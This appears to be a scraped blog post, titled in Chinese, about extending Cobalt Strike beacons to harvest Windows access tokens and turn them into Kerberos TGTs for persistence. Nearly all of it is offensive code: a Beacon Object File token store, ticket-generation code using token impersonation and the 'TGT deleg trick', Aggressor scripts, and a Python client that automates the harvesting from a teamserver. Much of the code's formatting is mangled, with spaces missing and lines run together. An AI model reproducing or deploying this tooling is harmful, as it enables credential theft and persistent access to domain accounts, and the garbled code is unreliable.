监控 Cobalt Strike beacon 以获取 Windows 令牌并实现 Kerberos 持久化

DECLSPEC_IMPORT BOOL BeaconAddValue(constchar * key, void * ptr);DECLSPEC_IMPORT void * BeaconGetValue(constchar * key);DECLSPEC_IMPORT BOOL BeaconRemoveValue(constchar * key);

#include<Windows.h>#include"beacon.h"// ...#define TOKEN_STORE_NAME "tokenstore"// ...// structure from sense impersonate original tooltypedef struct _TOKEN {    HANDLE TokenHandle;    int TokenId;    USHORT ProcessId;    DWORD SessionId;    wchar_t Username[FULL_NAME_LENGTH];    wchar_t TokenType[TOKEN_TYPE_LENGTH];    wchar_t TokenImpersonationLevel[TOKEN_IMPERSONATION_LENGTH];    wchar_t TokenIntegrity[TOKEN_INTEGRITY_LENGTH];    struct _TOKEN* Next;} TOKEN, *PTOKEN;void go(char* args, int len){    PTOKEN TokenStore = NULL;    TokenStore = (PTOKEN)BeaconGetValue(TOKEN_STORE_NAME);    // TokenStore exists    if ( TokenStore )        BeaconPrintf(CALLBACK_OUTPUT, "Current TokenStore at 0x%p", TokenStore);    // No TokenStore    else        BeaconPrintf(CALLBACK_OUTPUT, "No TokenStore");    // Add an empty token to the linked list    AddTokenToList(&TokenStore, (TOKEN){ 0 });    // Save the store for the next time    // Save the pointer of the linked list head    BeaconAddValue(TOKEN_STORE_NAME, TokenStore);    return 0;}

beacon> help custom-token-storeUse: custom-token-store monitor     custom-token-store show     custom-token-store use [id]     custom-token-store releaseUse 'custom-token-store monitor'to monitor new tokens and store them in the storeUse 'custom-token-store show'toonlyshow the current tokens in the storeUse 'custom-token-store use'to use a token in the storeUse 'custom-token-store release'free the store from Beacon memory

#define TICKET_STORE_NAME"ticketstore"typedef struct_TICKET {UINT16TicketId;ULARGE_INTEGERTimestamp;WCHARUsername[FULL_NAME_LENGTH];LPSTRValue;struct_TICKET* Next;} TICKET, *PTICKET;

/* * Impersonate a token to generate a TGT ticket */BOOL GenerateTicket(PTOKEN Token, PTICKET Ticket){if ( Token->TokenHandle && Token->TokenHandle != INVALID_HANDLE_VALUE )    {// Impersonate the user        if ( BeaconUseToken( Token->TokenHandle ) )        {            // Try to generate the TGT via TGT deleg trick            Ticket->Value = TgtDeleg( NULL );            // Revert back            BeaconRevertToken();            if ( Ticket->Value != NULL )                return TRUE;        }    }    return FALSE;}

// Loop over all the tokens in storewhile( CurrentToken ){    // we don't have a valid ticket for this username    if ( !ValidTicketInStore( CurrentToken->Username, TicketStore, Timestamp ) )    {        // We generate a new TGT        if ( GenerateTicket( CurrentToken, &TmpTicket ) )        {            // init the new ticket            MSVCRT$wcscpy_s( TmpTicket.Username, FULL_NAME_LENGTH, CurrentToken->Username );            TmpTicket.Timestamp = Timestamp;            TmpTicket.TicketId = ++LastTicketId;            // add the new ticket to the store            PRINT_OUT( "Add ticket to store (%ls)n", TmpTicket.Username );            AddTicketToStore( &TicketStore, TmpTicket );        }    }    CurrentToken = CurrentToken->Next;}// save the TGT storeBeaconAddValue( TICKET_STORE_NAME, TicketStore );

beacon> help tgt-storeUse: tgt-store generate     tgt-store show [id]     tgt-store releaseUse 'tgt-store generate'to generate new TGT based on token in custom-token-storeUse 'tgt-store show'toonlyshow the current TGTs in the store or a specific TGTUse 'tgt-store release'free the store from Beacon memory

sub bstart_monitoring {@_= flatten(@_);$i=1; #iterator    foreach $arg (@_){ #Loop through all of our args        eval("local('$" . $i . "')") #Declare our variable in the local scope        eval("$$i = "$arg";") #Use eval to dynamically define each of our numbered args$i++;    }$bid=$1;$handle= openf(script_resource("Release/custom-token-store." . barch($bid) . ".o"));$data= readb($handle, -1);    closef($handle);    btask($bid, "Start token monitoring");$arg_data= bof_pack($bid, "ii", 1, 0);    beacon_inline_execute($bid, $data, "go", $arg_data);}// this is the command we can launch through the Script Consolecommand start-token-monitoring {    // forward the arguments (only the beacon ID here)    bstart_monitoring(@_)}

from sleep_python_bridge.striker import CSConnector## Connectto serverprint("[*] Connecting to teamserver {}:{}...".format(args.host, args.port))with CSConnector(    cs_host=args.host,     cs_port="50050",     cs_user=args.username,     cs_pass=args.password,    cs_directory=args.path) as cs:    # include the adequate CNA for token + TGT stores    # WARNING: I faced issue if the CNA path isnot absolute    cs.ag_load_script(f"{args.token_store}/custom-token-store.cna")    cs.ag_load_script(f"{args.tgt_store}/tgt-store.cna")    # execute the agressor command `start-token-monitoring`    # incase the command isnot launched, print the returnvalueof ag_get_string()    # if the command isnot found, check the WARNING above    cs.ag_get_string(monitoring.beacon_id, script_console_command="start-token-monitoring", sleep_time=0)    # execute the agressor command `start-tgt-monitoring`    cs.ag_get_string(monitoring.beacon_id, script_console_command="start-tgt-monitoring")

from sleep_python_bridge.striker import CSConnectorfrom argparse import ArgumentParserfromtime import sleepfrom riposte import Ripostefrom prettytable import PrettyTablefrom threading import Threadclass CustomRiposte(Riposte):    def setup_cli(self):        return    def parse_cli_arguments(self):        returncs = Nonecsshell = CustomRiposte(prompt="cobaltstrike> ")monitorings = []class Monitoring:    thread = None    beacon_id = None    running = False    sleep_time = 0    def __init__(self, beacon_id, running, sleep_time):        self.beacon_id = beacon_id        self.running = running        self.sleep_time = sleep_timedef start_cs_monitoring(monitoring):    cs.ag_get_string(f"bsleep({monitoring.beacon_id},{monitoring.sleep_time})")    while monitoring.running:        # token monitor        cs.ag_get_string(monitoring.beacon_id, script_console_command="start-token-monitoring", sleep_time=0)        # tgt generate        cs.ag_get_string(monitoring.beacon_id, script_console_command="start-tgt-monitoring")sleep(monitoring.sleep_time)@csshell.command("beacons")def list_beacons():    table = PrettyTable(["ID", "USER", "COMPUTER", "PID", "NOTE"])    for beacon in cs.get_beacons():        table.add_row([beacon['id'], beacon['user'], beacon['computer'], beacon['pid'], beacon['note']])print(table)@csshell.command("start-monitoring")def start_monitoring(beacon_id: str, sleep_time: int):    monitoring = Monitoring(beacon_id=beacon_id, sleep_time=sleep_time, running=True)    t = Thread(target=start_cs_monitoring, args=(monitoring,))    monitoring.thread = t    t.start()    csshell.success("Start a monitoring for beacon {} each {} seconds".format(beacon_id, sleep_time))    monitorings.append(monitoring)@csshell.command("stop-monitoring")def stop_monitoring(beacon_id: str):    for monitoring in monitorings:        if monitoring.beacon_id != beacon_id:            continue        monitoring.running = False        monitoring.thread.join()        csshell.success("Monitoring for beacon {} stopped".format(beacon_id))        monitorings.remove(monitoring)